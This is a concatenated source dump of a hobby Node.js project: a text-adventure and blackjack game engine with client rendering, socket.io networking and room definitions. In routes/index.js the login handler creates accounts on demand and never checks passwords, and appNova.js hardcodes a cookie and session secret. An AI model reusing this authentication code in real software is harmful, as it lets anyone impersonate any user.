stand=actions.children('#stand'); $('<button id=betUp class="btnAction invisible" >Bet +</button>').click(handleBetUp).appendTo(actions); $('<button id=betDown class="btnAction invisible">Bet -</button>').click(handleBetDown).appendTo(actions); $('<button id=ready class="btnAction invisible">Ready</button>').click(handleReady).appendTo(actions); betUp=actions.children('#betUp'); betDown=actions.children('#betDown'); ready=actions.children('#ready'); }; function leaveTable() { _state.client.input.set('/exit'); myDiv.addClass("invisible"); for (var id in playerList) { clearPlayer(playerList[id]); delete playerList[id]; } lastState = ''; timeLeft=0; try {if(timeOut) clearInterval(timeOut); } catch(ex){} if (players.length!=0) players.removeClass("invisible"); if (items.length!=0) items.removeClass("invisible"); } function collectionAdded (name) { } function cardsAdded (key, value) { //console.log(key); updateTable(key); } function cardsRemoved (key, value) { } function watchAdded (name) { //console.log(name); if (name =='table_cards') { _state.env.data[name].on('value_changed', cardsAdded ); //_state.env.data[name].on('item_removed', cardsRemoved ); myDiv.removeClass("invisible"); if (players.length!=0) players.addClass("invisible"); if (items.length!=0) items.addClass("invisible"); } } var lastState = ''; var playerList = Object.create(null); function clearPlayer(num) { num=num-1; bets[num].html(''); cashs[num].html(''); cards[num].html(''); names[num].html(''); wins[num].html(''); ps[num].addClass('invisible'); } function newPlayer(num, player) { num=num-1; //console.log('newplayer'); //console.log(num); bets[num].html(player.bet); cashs[num].html(player.cash); cards[num].html(''); names[num].html(player.playerName); wins[num].html(''); ps[num].removeClass('invisible'); for (var i =0; i<player.hand.length; i++) { $('<img src="img/' + player.hand[i] + '.png" />').hide().appendTo(cards[num]).delay(300).fadeIn(300).delay(300); } } var fb; function updateTable(table) { if (table.state != lastState) { lastState=table.state; if (timeOut) clearInterval(timeOut); timeLeft = table.timer; timer.html('<span style="color:#000000;">Time Left : ' + table.timer + '</span><br/>'); timeOut = setInterval(function () { timer.html('<span style="color:#000000;">Time Left : ' + timeLeft-- + '</span><br/>'); if (timeLeft<=0) clearInterval(timeOut); }, 1000); } switch(table.state) { case "STATE_HIT": stand.removeClass('invisible'); hit.removeClass('invisible'); betDown.addClass('invisible'); betUp.addClass('invisible'); ready.addClass('invisible'); break; case "STATE_BET": stand.addClass('invisible'); hit.addClass('invisible'); betDown.removeClass('invisible'); betUp.removeClass('invisible'); ready.removeClass('invisible'); dealerCards.html('House</br>'); break; case "STATE_WAIT": stand.addClass('invisible'); hit.addClass('invisible'); betDown.addClass('invisible'); betUp.addClass('invisible'); ready.addClass('invisible'); break; default: } //console.log(table); var count = dealerCards.find('img').length; //log(count); for (var i =0; i<table.dealer.hand.length; i++) { if (i>=count) { $('<img src="img/' + table.dealer.hand[i] + '.png" />').hide().appendTo(dealerCards).delay(300).fadeIn(300).delay(300); } } for (var k in table.players) { if (table.players.hasOwnProperty(k)) { var player = table.players[k]; if (playerList[k]===undefined || playerList[k] != player.seat ) { //console.log('newp'); clearPlayer(player.seat); playerList[k]=player.seat; newPlayer(player.seat, player ); } var num = player.seat-1; if (table.state == "STATE_BET") { cards[num].html(''); wins[num].html(''); } count = cards[num].find('img').length; for (var i =0; i<player.hand.length; i++) { if (i>=count) { $('<img src="img/' + player.hand[i] + '.png" />').hide().appendTo(cards[num]).delay(300).fadeIn(300).delay(300); } } bets[num].html(player.bet); cashs[num].html(player.cash); if (table.state == "STATE_WAIT") { if(player.lastWin < 0) wins[num].html('Lost $' + (-1 * player.lastWin)); else if (player.lastWin > 0) wins[num].html('Won $' + player.lastWin); else wins[num].html('Push'); } } } if (table.fireball) { myDiv.find('span').each(function(){$(this).attr("y_pos","0");}); fb=setInterval(nextShadow, 50); } for (var id in playerList) { if (table.players[id]===undefined) { //console.log('clear'); clearPlayer(playerList[id]); delete playerList[id]; } } } function handleHit() { //console.log($(this).html()); _state.client.input.set('/table_action hit'); } function handleStand() { //console.log($(this).html()); _state.client.input.set('/table_action stand'); } function handleBetUp() { //console.log($(this).html()); bet+=10; _state.client.input.set('/table_action bet ' + bet); } function handleBetDown() { //console.log($(this).html()); if (bet<=10) bet=0; else bet-=10; _state.client.input.set('/table_action bet ' + bet); } function handleReady() { _state.client.input.set('/table_action ready'); } var step = 1; var fbs=0; function nextShadow(){ if(fbs++ > 100) {clearInterval(fb);fbs=0; //2px 2px 1px #cc9f52 myDiv.find('span').each(function(){ var y = parseFloat($(this).attr("y_pos")); y += step + Math.random()*3; $(this).attr("y_pos", y); var shadowclear = "2px 2px 1px #cc9f52"; $(this).css("text-shadow", shadowclear); }); return;} myDiv.find('span').each(function(){ var y = parseFloat($(this).attr("y_pos")); y += step + Math.random()*3; $(this).attr("y_pos", y); var shaking = Math.random(); var shadow1 = "0px 0px "+(y%5)+"px white"; var shadow2 = shaking*24/y*Math.cos(y/5)*15+"px -"+(shaking*4/y+(y%17))+"px "+(shaking+(y%17))+"px red"; var shadow3 = shaking*24/y*Math.cos(y/7)*15+"px -"+(shaking*4/y+(y%31))+"px "+(shaking+(y%31))+"px #993"; var shadow4 = shaking*24/y*Math.cos(y/13)*15+"px -"+(shaking*4/y+(y%41))+"px "+(shaking+(y%41))+"px yellow"; $(this).css("text-shadow", shadow2+", "+shadow1+", "+shadow4+", "+shadow3); }); } <file_sep>/client/app/state/client.js var events = require("events"); var helper = require('../helper'); var collection = helper.collection; var util = require("util"); var Watch = helper.watch; var client = function() { events.EventEmitter.call(this); this.data = Object.create(null); this.input = new Watch(); this.chat = new Watch(); }; util.inherits(client,events.EventEmitter); var p = client.prototype; p.init = function (serverEnv) { }; module.exports = new client();<file_sep>/src/gameTables/_player.js var c = {}; c.isPlayer = true; c.isMachine = true; c.behaviors = [ {file:"stats"}, {file:"senseEnv"}, {file:"senseEnvCmds"}, {file:"look"}, {file:"chat"}, {file:"admin"} ]; module.exports = c; <file_sep>/src/nova/core/senseEnvDesc.js var cognition = require("cognition"); var Class = cognition.Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setName('sense_env_desc_behavior'); this.setKind('sense'); }; p.init = function(){ var events = cognition.events; this.onCogEvent(events.PLAYER_CONNECTED, this.senseAll); this.onEnvEvent('changeDesc', this.senseAll); this.onParentChanged(this.parentChanged); }; p.parentChanged = function(cog, oldParent, newParent){ this.senseAll(newParent); }; p.senseAll = function(parent){ if(!parent) return; var data = { cid: parent.getCID(), short_desc: parent.getProp('short_desc'), long_desc: parent.getProp('long_desc') }; this.sendPlayer('env_desc', 'all', data); }; module.exports = Class;<file_sep>/client/app/state/player.js /** * User: halmayne * Date: 7/28/13 * Time: 12:22 AM */ var events = require("events"); var helper = require('../helper'); var collection = helper.collection; var util = require("util"); var player = function() { events.EventEmitter.call(this); this.data = helper.axle.createHash(); //collection.addCollection('inv', this.data); //this.character = new helper.watch(); }; function sync (data, name) { if ($.isArray(data)) { //new collection helper.collection.addCollection.call(this, name, this.data); this.data[name].syncCollection(data); } else { //new watch helper.watch.addWatch.call(this, name, this.data); this.data[name].set(data); } } util.inherits(player,events.EventEmitter); var p = player.prototype; p.init = function (serverPlayer) { //this.player.data = helper.axle.cloneDeep(serverPlayer); }; p.update = function (name, data, type) { if(!type) type='all'; switch(type) { case 'all': sync.call(this, data, name); break; case 'mod': break; case 'add': if (this.data[name]) { this.data[name].add(data); } break; case 'rem': if (this.data[name]) { if (data.cid) { this.data[name].remove(data.cid); } else this.data[name].removeByValue(data); } break; default: } }; module.exports = new player(); <file_sep>/src/nova/core/living.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { hp: 0, sp: 0 }; p.create = function(){ this.setName('living_behavior'); this.setKind('living'); }; p.init = function(){ this.exposeMethod('cmd_chat',this.chat); }; p.awake = function(){ this._cog.on('update',function(num){ // console.log('UPDATE:'+num); }); }; p.chat = function(action){ this.attemptAction(action); if(action.blocked || action.invalid){ this.sendPlayer("You can't talk right now."); } else { this.sendPlayer("You say: " + action.rawText); this.sendOthers(this.getProp('short_desc') + ' says: ' + action.rawText); } }; module.exports = Class;<file_sep>/src/mud/player.js var c = {}; c.isPlayer = true; c.isMachine = true; c.behaviors = [ { file:"./mud/basicCmds", props:{ } } ]; module.exports = c; <file_sep>/public/js/commandToJSON.js function stringToCommand(s) { try { s = s.trim(); var command = []; var lastChar=''; var inQuote = false; var quoteChar = ''; var ca = s.split(''); var currentBlock=[]; var lastQuoteEnd = -10; var malformed = false; //var suspect=false; for (var j=0; j<ca.length; j++) { var c = ca[j]; if (c=='"' || c=="'") { if (inQuote && c==quoteChar) { //quote complete inQuote=false; quoteChar=''; lastQuoteEnd=j; command.push(currentBlock.join('')); currentBlock=[]; } else if (!inQuote && (lastChar=='' || lastChar==' ' || lastChar=='=')) { inQuote=true; quoteChar=c; } else { currentBlock.push(c); } } else if (!inQuote && c==' ') { if(lastQuoteEnd != (j-1) && lastChar!='' && lastChar!='') { command.push(currentBlock.join('')); currentBlock=[]; } } else if (j==ca.length-1) { inQuote=false; quoteChar=''; currentBlock.push(c); command.push(currentBlock.join('')); currentBlock=[]; if (inQuote) malformed=true; } else { currentBlock.push(c); } lastChar=c; } var o = {}; var target = []; var obj = []; o['command'] = command[0]; o['obj'] = []; o['target'] = []; //o['targetKeyWord']=''; //o['objectKeyWord']=''; o['assignmentKeys']=[]; o['flags']=[]; o['malformed']=false; o['prep']=''; //o['missingTarget']=false; //o['missingObject']=false; o['raw']=s; //alert(command.toString()); var preps = ['at','in', 'on', 'to', 'from','into','inside', 'over', 'under', 'above', 'with', 'around','about', 'below', 'beside', 'of','through']; //var objectKeyWords = []; var lastCom=false; var firstCom=true; currentBlock = []; var inTarget=false; var inObject=true; for (var i=1; i<command.length; i++) { var com = command[i]; if (i==command.length-1) lastCom = true; if (com == '=') { if (lastCom || firstCom) { malformed=true; } else { //if () o['assignmentKeys'].push(command[i]-1); o[command[i]-1]= command[i+1]; currentBlock=[]; i++; } } else if (com.indexOf("=") > 0 ) { var assignment = com.split("="); o['assignmentKeys'].push(assignment[0]); if (assignment.length>1) o[assignment[0]]= assignment[1]; else { o[assignment[0]]=command[i+1]; i++; } if (inObject && currentBlock.length>0) { inObject=false; inTarget=true; o['obj']=currentBlock.slice(); currentBlock=[]; } else if (inTarget && currentBlock.length>0) { inTarget=false; o['target']=currentBlock.slice(); currentBlock=[]; } else if (!inTarget && !inObject) { inTarget=true; } } else if(com.charAt(0)=='-') { for (var f=1;f<com.length;f++){ o['flags'].push(com.charAt(f)); } if (inObject && currentBlock.length>0) { inObject=false; inTarget=true; o['obj']=currentBlock.slice(); currentBlock=[]; } else if (inTarget && currentBlock.length>0) { inTarget=false; o['target']=currentBlock.slice(); currentBlock=[]; } else if (!inTarget && !inObject) { inTarget=true; } } else if ('the' == com || 'a'==com || 'an'==com) { if (inObject && currentBlock.length>0) { inObject=false; inTarget=true; o['obj']=currentBlock.slice(); currentBlock=[]; } else if (!inTarget && !inObject) { inTarget=true; } } else if($.inArray(com, preps)>=0) { o['prep']=com; if (inObject) { inObject=false; inTarget=true; o['obj']=currentBlock.slice(); currentBlock=[]; } else if (o['obj'].length>0) { inTarget=true; } else inObject=true; } else if (lastCom) { currentBlock.push(com); if (inObject) { inObject=false; if (currentBlock.length>1) { var t = currentBlock.pop(); o['obj']=currentBlock.slice(); currentBlock=[]; o['target'].push(t); } else { o['obj']=currentBlock.slice(); currentBlock=[]; } } else { inTarget=false; o['target']=currentBlock.slice(); currentBlock=[]; } } else if(firstCom) { firstCom=false; currentBlock.push(com); } else { currentBlock.push(com); } } return o; } catch (err){ var oErr = {}; oErr['err']=err; return oErr; } }<file_sep>/client/app/render/basic/charHud.js var ms = require('../../magicStrings'); var _state; exports.setState = function (state) { _state = state; //state.env.on('collection_added', collectionAdded ); //state.client.chat.on(ms.CHANGE_EVENT, echo ); }; var myDiv; exports.init = function (divName) { myDiv=$('#'+divName); if (!myDiv.val()) return; //myDiv.removeClass("invisible"); };<file_sep>/routes/index.js var cognition = require('cognition'); function processLogin(login_error,req, res) { console.log('b '+login_error); //LINE B var user=""; if (login_error !== true) { user = req.body.user; //res.send('Login Success'); res.cookie('user', user, { signed: true, path:'/' }); res.redirect('/'); } console.log(login_error); res.render('login', { user: user, login_error: login_error }); } exports.login= function(req, res){ if (req.signedCookies === undefined || req.signedCookies.user === undefined) { //if no one is logged in cognition.db.connect('localhost', 27017, function() { if (req.body.user != undefined && req.body.password != undefined) { //res.render('login'); var _user={}; cognition.db.findByKey("user_store","name", req.body.user,function (error, result) { if (error ==null) { if (result == null) { //create user cognition.db.save("user_store",{'name':req.body.user, 'password':<PASSWORD> }, function(error, result){ if (error==null) { //TODO : check password :) _user= result if (_user.name === undefined) processLogin.call(this,true,req,res ) ; else processLogin.call(this,false,req,res ) ; } }) ; } else {_user=result; if (_user.name === undefined) processLogin(true,req,res ) ; else processLogin(false,req,res ) ; } } }); } }, this); } else res.redirect('/'); }; exports.loginget= function(req, res){ if (req.signedCookies === undefined || req.signedCookies.user === undefined) { //if no one is logged in res.render('login'); } else res.redirect('/'); }; exports.logout= function(req, res){ if (req.signedCookies !== undefined && req.signedCookies.user !== undefined) { // logged in res.clearCookie('user',{ path: '/' }); } res.redirect('/'); }; exports.index = function(req, res){ var links = {}; links['logroute']='/logout'; links['logroutename']='Logout'; if (req.signedCookies === undefined || req.signedCookies.user === undefined) { //if no one is logged in // res.redirect('/login'); links['logroute']='/login'; links['logroutename']='Login'; } else { links['username']=req.signedCookies.user; } // else res.render('index'); res.render('index', links); }; exports.test = function(req, res){ if (req.user) { res.cookie('user', req.user.name, { signed: true, path:'/' }); res.redirect('/test/' + req.user.name); } else if (req.signedCookies === undefined || req.signedCookies.user === undefined) { //if no one is logged in res.redirect('/login'); } else { res.redirect('/test/' + req.signedCookies.user); } }; exports.partials = function (req, res) { var name = req.params.name; res.render('partials/' + name); }; <file_sep>/src/astra/world/_testRoom.js var c = {}; c.isPlayer = false; c.isMachine = true; c.isMaster = false; c.behaviors = [ { file:"./astra/core/item", props:{ short_desc: 'A test.', long_desc: 'A very scary test indeed.' } }, { file:"./astra/core/room" } ]; module.exports = c; <file_sep>/src/astra/core/ship/_lounge.js var c = {}; c.behaviors = [ { file:"astra/core/item", props: { short_desc: 'The Lounge', long_desc: 'The Lounge.' } }, { file:"astra/core/room", props: { exits:[ {name: "out", relative: "grandparent"}, {name: 'up', file: 'astra/core/ship/_cockpit'}] } } ]; module.exports = c; <file_sep>/src/astra/core/parseCmd.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setKind('parseCmd'); this.setName('parseCmd_behavior'); }; p.awake = function(){ this.exposeMethod('parseCmd',this.parseCmd); }; p.parseCmd = function(data){ var arr = data.split(' '); var cmd = arr[0]; var target = null; if(arr.length > 1){ arr.shift(); target = arr.join(' '); } this.emitCmd(cmd,target); }; module.exports = Class;<file_sep>/src/astra/world/ports/mini/_bar.js var c = {}; c.behaviors = [ { file:"astra/core/item", props: { short_desc: 'The Bar', long_desc: 'The Bar.' } }, { file:"astra/core/room", props: { exits:[ {name: 'up', file: 'astra/world/ports/mini/_landingBay'}] } } ]; module.exports = c; <file_sep>/public/js/main.js /** * User: halmayne * Date: 6/3/13 * Time: 6:39 PM */ var myTerm; var socketManager = {} ; var user = ''; var lastCommand = {}; var currentCommand ={}; function setName(name) { if (name == false) return; user =name; $('#term').terminal(function(command, term) { command=command.trim(); if (command != '') { if (command.toLowerCase()=='edit2') {editOn = !editOn;return;} if (command.toLowerCase()=='edit') {editPlain = !editPlain;return;} //term.echo(JSON.stringify(currentCommand, null, 4)); lastCommand=currentCommand; currentCommand = stringToCommand(command); if(aliasList[currentCommand.command] ) { var arr = command.split(' '); arr[0]=aliasList[currentCommand.command]; command=arr.join(' '); currentCommand.command = aliasList[currentCommand.command]; } $('#debug-command').html(JSON.stringify(currentCommand, null, 4)); if (socketManager['term'] !== undefined) socketManager['term'].send(command); } else { term.echo('unknown command'); } }, { prompt: '$>', name: 'myTerm', greetings:'Welcome', width: 800, height: 500, onInit: function(term) { myTerm=term; term.pause(); connectTerm(user); } }); } var o={}; var editOn=false; var editor= $('#editor'); editor.jsonEditor(o); var editPlain=false; var editorPlain= $('#edit-server'); var prefs ={}; var aliasList ={}; function handleServerData(data) { //var socket = socketManager['term']; //alert(typeof data); console.log(data); if (typeof data ==='object') { } else if (editPlain && (data.charAt(0)=='{' || data.charAt(0)=='[' ) ) { editorPlain.html(data); $( "#dialog-form" ).dialog( "open" ); } else if (editOn && (data.charAt(0)=='{' || data.charAt(0)=='[' ) ) { try { o=$.parseJSON( data ); if (o){ myTerm.disable(); editor.jsonEditor(o); $( "#dialog-form" ).dialog( "open" ); } } catch (ex) { if (myTerm !== undefined) myTerm.enable(); if (myTerm !== undefined) myTerm.echo('bad object'); } } else if (data.charAt(0)=='{' || data.charAt(0)=='[' ) { $('#debug-command').html(data); o=$.parseJSON( data ); if (o.name && o.name=='prefs') { prefs=o; if (prefs.aliasList ) aliasList = prefs.aliasList; } } else if (myTerm !== undefined) myTerm.echo(data); } function connectTerm(name) { if (name == false) return; //TODO route to login socketManager['term'] = io.connect('http://localhost:3000/cognition') ; var comm = socketManager['term']; comm.on('connect', function () { console.log(name); comm.emit('set user',name ); //if (myTerm !== undefined) myTerm.echo('Connecting....'); }); comm.on('ready', function() { if (myTerm !== undefined) myTerm.echo('Connected to Server'); myTerm.resume(); comm.on('message', handleServerData); comm.send('getPrefs'); comm.on('disconnect', function(data) { comm.removeAllListeners('disconnect'); comm.removeListener('message', handleServerData); if (myTerm !== undefined) myTerm.echo("Lost Connection to Server"); }); comm.on('reconnect', function(data) { comm.removeAllListeners('reconnect'); if (myTerm !== undefined) myTerm.echo("Reconnecting..."); }); }); } $('#beautify').click(function(evt) { evt.preventDefault(); var jsonText = $('#debug-command').html(); $('#debug-command').html(JSON.stringify(JSON.parse(jsonText), null, 4)); }); $('#uglify').click(function(evt) { evt.preventDefault(); var jsonText = $('#debug-command').html(); $('#debug-command').html(JSON.stringify(JSON.parse(jsonText))); }); $( "#dialog-form" ).dialog({ autoOpen: false, height: 500, width: 800, modal: true, buttons: { Upload: function() { $( this ).dialog( "close" ); }, Cancel: function() { $( this ).dialog( "close" ); } }, close: function() { myTerm.enable(); $('#term').focus(); } });<file_sep>/src/nova/core/ship/_cockpit.js var c = {}; c.behaviors = [ { file:"astra/core/item", props: { short_desc: 'The Cockpit', long_desc: 'Inside a Cockpit.' } }, { file:"astra/core/room", props: { exits:[ {name: 'down', file: 'astra/core/ship/_lounge'}] } }, {file:"astra/core/ship/helm"}, {file:"astra/core/ship/scanner"} ]; module.exports = c; <file_sep>/src/astra/world/ports/mini/port.js var cognition = require("cognition"); var Class = cognition.Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setName('port_behavior'); this.setKind('port'); this.spawnCog('astra/world/ports/mini/_landingBay'); this.spawnCog('astra/world/ports/mini/_bar'); }; module.exports = Class;<file_sep>/src/astra/core/world.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setName('world_behavior'); this.setKind('world'); this.createCog('astra/world/_room1'); this.createCog('astra/world/_room2'); this.createCog('astra/world/_room3'); }; module.exports = Class;<file_sep>/client/app/render/legacy/index.js /** * User: halmayne * Date: 7/28/13 * Time: 12:11 AM */ var view_list = {}; view_list.console = require('./console'); view_list.debug = require('../debug'); exports.Views = view_list; exports.setState= function (state) { view_list.console.setState(state); view_list.debug.setState(state); }; exports.init = function () { view_list.console.init('console'); view_list.debug.init('debug'); };<file_sep>/src/astra/core/sector.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { sectorNum: 1 }; p.create = function(){ this.setName('sector_behavior'); this.setKind('sector'); }; p.init = function(){ this.exposeMethod('generateDesc',this.generateDesc); }; p.generateDesc = function(cluster){ var cNum = cluster.getProp('num'); var sNum = this.getProp('sectorNum',true); var shortDesc = 'C' + cNum + '-S' + sNum + ""; var longDesc = "Sector " + sNum + " of " + cluster.getProp('size',true) + " in " + cluster.getProp('zone_desc'); this.setProp('short_desc',shortDesc); this.setProp('long_desc',longDesc); console.log(longDesc + ": " + cluster.getProp('short_desc')); }; module.exports = Class;<file_sep>/src/gameTables/_table.js var c = {}; c.isPlayer = false; c.isMachine = false; c.behaviors = [ { file:"named" }, { file:"stateMachine", props:{ machineFile: 'Yblackjack' } }, { file:"exitToParent", props:{ exitName: 'Leave Table' } } ]; module.exports = c; <file_sep>/src/gameTables/gameRoom.js /** * @constructor * @class gameTable * @extends Behavior * */ var Class = require("cognition").Behavior.subClass(); /** @lends {Behavior} */ var p = Class.prototype; p.defaults = { options: { tableMax: 10 }, tables: {} }; p.create = function(){ /** @type {gameTable} */ var self = this; self.setKind('gameRoom'); self.setName('gameRoom_behavior'); }; p.init = function (){ /** @type {Behavior} */ var self = this; // // self.onCogEvent('player_connect', this.broadcastAll); // self.onParentChanged(this.parentChanged); self.exposeMethod('listTables',this.listTables); self.exposeMethod('addTable',this.addTable); self.exposeMethod('hasTable',this.hasTable); self.exposeMethod('getTableByName',this.getTableByName); self.exposeMethod('look',this.look); mapCommands.call(this,{ "createTable":'createTable', "joinTable":"joinTable", "take":"take" }); }; p.addTable = function(options){ // {"name:"cid"} var tables = this.getProp('tables',true); tables.push(options); this.setProp('tables',tables,true); }; p.hasTable = function(name){ }; p.listTables = function(){ return this.getProp('tables'); }; p.getTableByName = function(name){ var tables = this.getProp('tables'); return tables[name]; }; //TODO: expects calling player to keep out of list - could push back list and remove play in look.js p.look = function(_player){ var desc = ''; // var tables = this.doMethod('listTables'); // var names = []; // for(var k in tables) { // if (tables.hasOwnProperty(k)) names.push(k); // } // desc += "tables: ["; // desc += names.join(','); // desc += "]\n"; for(var j = 0; j < this._cog._children.length; j++){ var c = this._cog._children[j]; if(!c.isMe(_player)) if (c.getProp('alias')) desc += c.getProp('alias') + '\n'; else if (c.getProp('short_desc')) desc += c.getProp('short_desc') + '\n'; } return desc; }; //var bp = require('../../blueprints'); p.createTable = function (options) { console.log('creating table'); /** @type Behavior */ var self = this; //var table = self.createCog('_table'); var table = self.createCog('_table.js'); //TODO: add createChild to behave/cog/engine if (options.itemName) table.setProp('alias', options.itemName); table.setParent(this.getCog()); }; p.take = function (action) { this.joinTable(action); }; p.joinTable = function(action){ if(this._resolveActionItem(action, action.actor.getPlayerParent())) this.attemptAction(action); if(action.blocked || action.invalid){ action.actor.sendPlayer("You can't join"); } else { action.actor.sendPlayer("You join " + action.item.getProp('alias')); action.actor.getPlayer().setParent(action.item); } }; p._resolveActionItem = function(action, env){ var item = null; if(env){ if(action.itemName) item = this._getItemWithAlias(env, action.itemName); else if(action.itemID) item = env.getChildCogByCID(action.itemID); } action.item = item; action.invalid = (action.invalid || item == null); return item; }; p._getItemWithAlias = function(env, alias){ var cogs = env._children; var i = cogs.length; while(i--){ var cog = cogs[i]; if(cog.getProp('alias')==alias) return cog; } return null; }; function mapCommands(mapObject) { for (var key in mapObject) { var method = mapObject[key]; if (typeof(method) != 'function') method = this[key]; if (!method) continue; this.exposeMethod('cmd_'+key, method); } } module.exports = Class;<file_sep>/src/nova/world/_tribble.js var c = {}; c.inherits = "./astra/core/_walker"; c.behaviors = [ { file:"./astra/core/item", props:{ short_desc: 'A tribble.', alias_list: ['tribble'] } }, { file:"./astra/core/wander" } ]; module.exports = c; <file_sep>/client/app/state/env.js var events = require("events"); var helper = require('../helper'); var collection = helper.collection; var util = require("util"); var ms = require('../magicStrings'); var env = function() { events.EventEmitter.call(this); this.data = helper.axle.createHash(); collection.addCollection('debug', this); //collection.addCollection('players', this.data); //collection.addCollection('items', this.data); this.focus = new helper.watch(); //no emit.. // this.focus.on(ms.CHANGE_EVENT, function (value) { // //console.log (value.toString()); // }); }; //old wayy all ini data //function sync (data) { // // for (var v in data) { // if (data.hasOwnProperty(v)) { // if ($.isArray(data[v])) { // //new collection // helper.collection.addCollection.call(this, v, this.data); // this.data[v].syncCollection(data[v]); // } // else { // //new watch // helper.watch.addWatch.call(this, v, this.data); // this.data[v].set(data[v]); // } // } // } // //console.log(JSON.stringify(this.data,null,2)); // //} function sync (data, name) { if ($.isArray(data)) { //new collection helper.collection.addCollection.call(this, name, this.data); this.data[name].syncCollection(data); } else { //new watch helper.watch.addWatch.call(this, name, this.data); this.data[name].set(data); } } util.inherits(env,events.EventEmitter); var p = env.prototype; p.init = function (serverEnv) { }; p.update = function (name, data, type) { if(!type) type='all'; switch(type) { case 'all': sync.call(this, data, name); break; case 'mod': break; case 'add': if (this.data[name]) { this.data[name].add(data); } break; case 'rem': if (this.data[name]) { if (data.cid) { this.data[name].remove(data.cid); } else this.data[name].removeByValue(data); } break; default: } }; module.exports = new env(); <file_sep>/appNova.js var express = require('express'); var routes = require('./routes'); var app = module.exports = express(); var server = require('http').createServer(app); var io = require('socket.io').listen(server); var cognition = require('cognition'); //for heroku io.configure(function () { io.set("transports", ["websocket"]); io.set("polling duration", 10); }); var browserify = require('browserify-middleware'); browserify.settings({ transform: ['hbsfy'] }); app.configure(function(){ app.set('views', __dirname + '/views'); app.set('view engine', 'jade'); app.use(express.cookieParser("thissecretrocks")); app.use(express.bodyParser()); app.use(express.methodOverride()); app.use(express.static(__dirname + '/public')); app.use(app.router); //app.use(express.cookieParser("0x5f3759df")); app.use(express.session({ secret: 'thissecretrocks', cookie: { maxAge: 60000 } })); //app.set('contextManager',cm); }); app.configure('development', function(){ app.use(express.errorHandler({ dumpExceptions: true, showStack: true })); }); app.configure('production', function(){ app.use(express.errorHandler()); }); app.use('/js', browserify('./client/app')); app.get('/js/config.js', browserify('./client/config.js')); app.get('/js/recognition.js', browserify('./client/recognition.js')); // Routes app.get('/', routes.index); app.get('/login', routes.loginget); app.get('/logout', routes.logout); app.post('/login', routes.login); app.get('/partials/:name', routes.partials); app.get('/test/:name', function (req, res) { res.redirect('../../test.html?user=' + req.params.name); }); // redirect all others to the index (HTML5 history) //app.get('*', routes.index); //var engine = require('./src/engine'); var options = cognition.options.create('nova', 'nova', 'src/nova/', 'core/_ship', 'core/_universeAdmin'); //cognition.createConfig('src/astra/'); cognition.startEngine(options); io.of('/cognition').on('connection', function(socket){ //engine.connect(socket); if(!cognition.engine._ready){ socket.disconnect(); return; } socket.on('set user', function (name) { socket.set('username', name, function () { socket.emit('ready'); socket.send('Rar hello ' + name); cognition.engine.loadUserDataByName(name,function(error, result){ var user = null; if(error || !result){ console.log('no user -- making meow'); user = {name: name, _id: cognition.db.newID()}; } else { console.log('user ' + name + ' found'); console.log('grrr'); user = result; } //console.log(user); //console.log(socket); cognition.engine.connect(socket,user); }); }); }); }); server.listen(process.env.PORT || 3000, function(){ console.log("Express server listening on port %d in %s mode", this.address().port, app.settings.env); }); <file_sep>/src/archive/behaviors/environment.js /** * User: halmayne * Date: 6/13/13 * Time: 10:34 AM */ var Behavior = require("../behavior"); var util = require("util"); var Echo = function(){ Behavior.call(this); this.setName("player"); this.setSolo(true); }; util.inherits(Echo,Behavior); var p = Echo.prototype; p.receiveData = function(data){ this.getCog().emit("sendData",data); }; p.awake = function(){ this.setName("echo"); this.setSolo(true); this.getCog().on('receiveData',this.receiveData.bind(this)); }; module.exports = Echo; <file_sep>/src/gameTables/stats.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { wins: 0, losses: 0, gamesPlayed: 0, cash: 500, short_desc:'' }; p.create = function(){ this.setKind('playerStats'); this.setName('playerStats_behavior'); }; module.exports = Class;<file_sep>/client/app/helper/commandBuilder.js var axle=require('./axle'); exports.createMessage = function (action, objectID, target) { var m = axle.createHash(); m.cmd = action; m.itemID = objectID; if (target!='') m.target = target; return JSON.stringify(m); }; exports.createMessageByName = function (action, objectName, target) { var m = axle.createHash(); m.cmd = action; m.itemName = objectName; if (target!='') m.target = target; return JSON.stringify(m); }; <file_sep>/src/nova/core/ship/entry.js var cognition = require("cognition"); var Class = cognition.Behavior.subClass(); var p = Class.prototype; p.defaults = { entry_room: null }; p.create = function(){ this.setName('entry_behavior'); this.setKind('entry'); }; p.init = function(){ this.exposeCmd('enter',this.enter); }; p.awake = function(){ ship = this.getEnv(); }; p.enter = function(action){ if(!this.attemptAction(action)) return; var exit = {relative: 'child', file:this.getProp('entry_room')}; this.doMethod('useExit',action.actor,exit); }; module.exports = Class;<file_sep>/client/app/helper/connection.js var config = require('../../config'); var commander = require('./commandBuilder'); var msgCallback; var comm; var i=1; exports.connect = function (clientname, callback) { if (comm) return comm; if (!clientname) return null; msgCallback = callback; var pathArray = window.location.href.split( '/' ); var protocol = pathArray[0]; var host = pathArray[2]; var url = protocol + '//' + host; console.log(url + '/' + config.socketName); comm = io.connect(url + '/' + config.socketName); comm.on('connect', function () { comm.emit('set user',clientname ); }); comm.on('ready', function() { comm.on('message', handleServerData); //FIXME: call the callback directly? comm.on('disconnect', function(data) { comm.removeAllListeners('disconnect'); comm.removeListener('message', handleServerData); }); comm.on('reconnect', function(data) { comm.removeAllListeners('reconnect'); }); }); return comm; }; exports.getViews = function () { if (!comm) return; comm.send(JSON.stringify(commander.createMessage('getViews','',''))); }; function handleServerData(data) { if (msgCallback) msgCallback(data); } <file_sep>/src/nova/core/room.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; var cognition = require("cognition"); var axle = cognition.axle; p.defaults = { exits: [] }; p.create = function(){ this.setName('room_behavior'); this.setKind('room'); }; p.init = function(){ this.exposeMethod('listExits',this.listExits); this.exposeMethod('addExit', this.addExit); this.exposeMethod('getExitByName',this.getExitByName); this.exposeMethod('look', this.look); this.exposeMethod('useExit', this.useExit); this.exposeMethod('resolveExit', this.resolveExit); }; p.awake = function(){ var exits = this.getProp('exits'); for(var i=0; i < exits.length; i++){ var exit = exits[i]; this.resolveExit(exit); } }; p.useExit = function(mob, exit){ var destination = null; if(exit.relative == "parent"){ destination = this.getEnv(); } else if (exit.relative 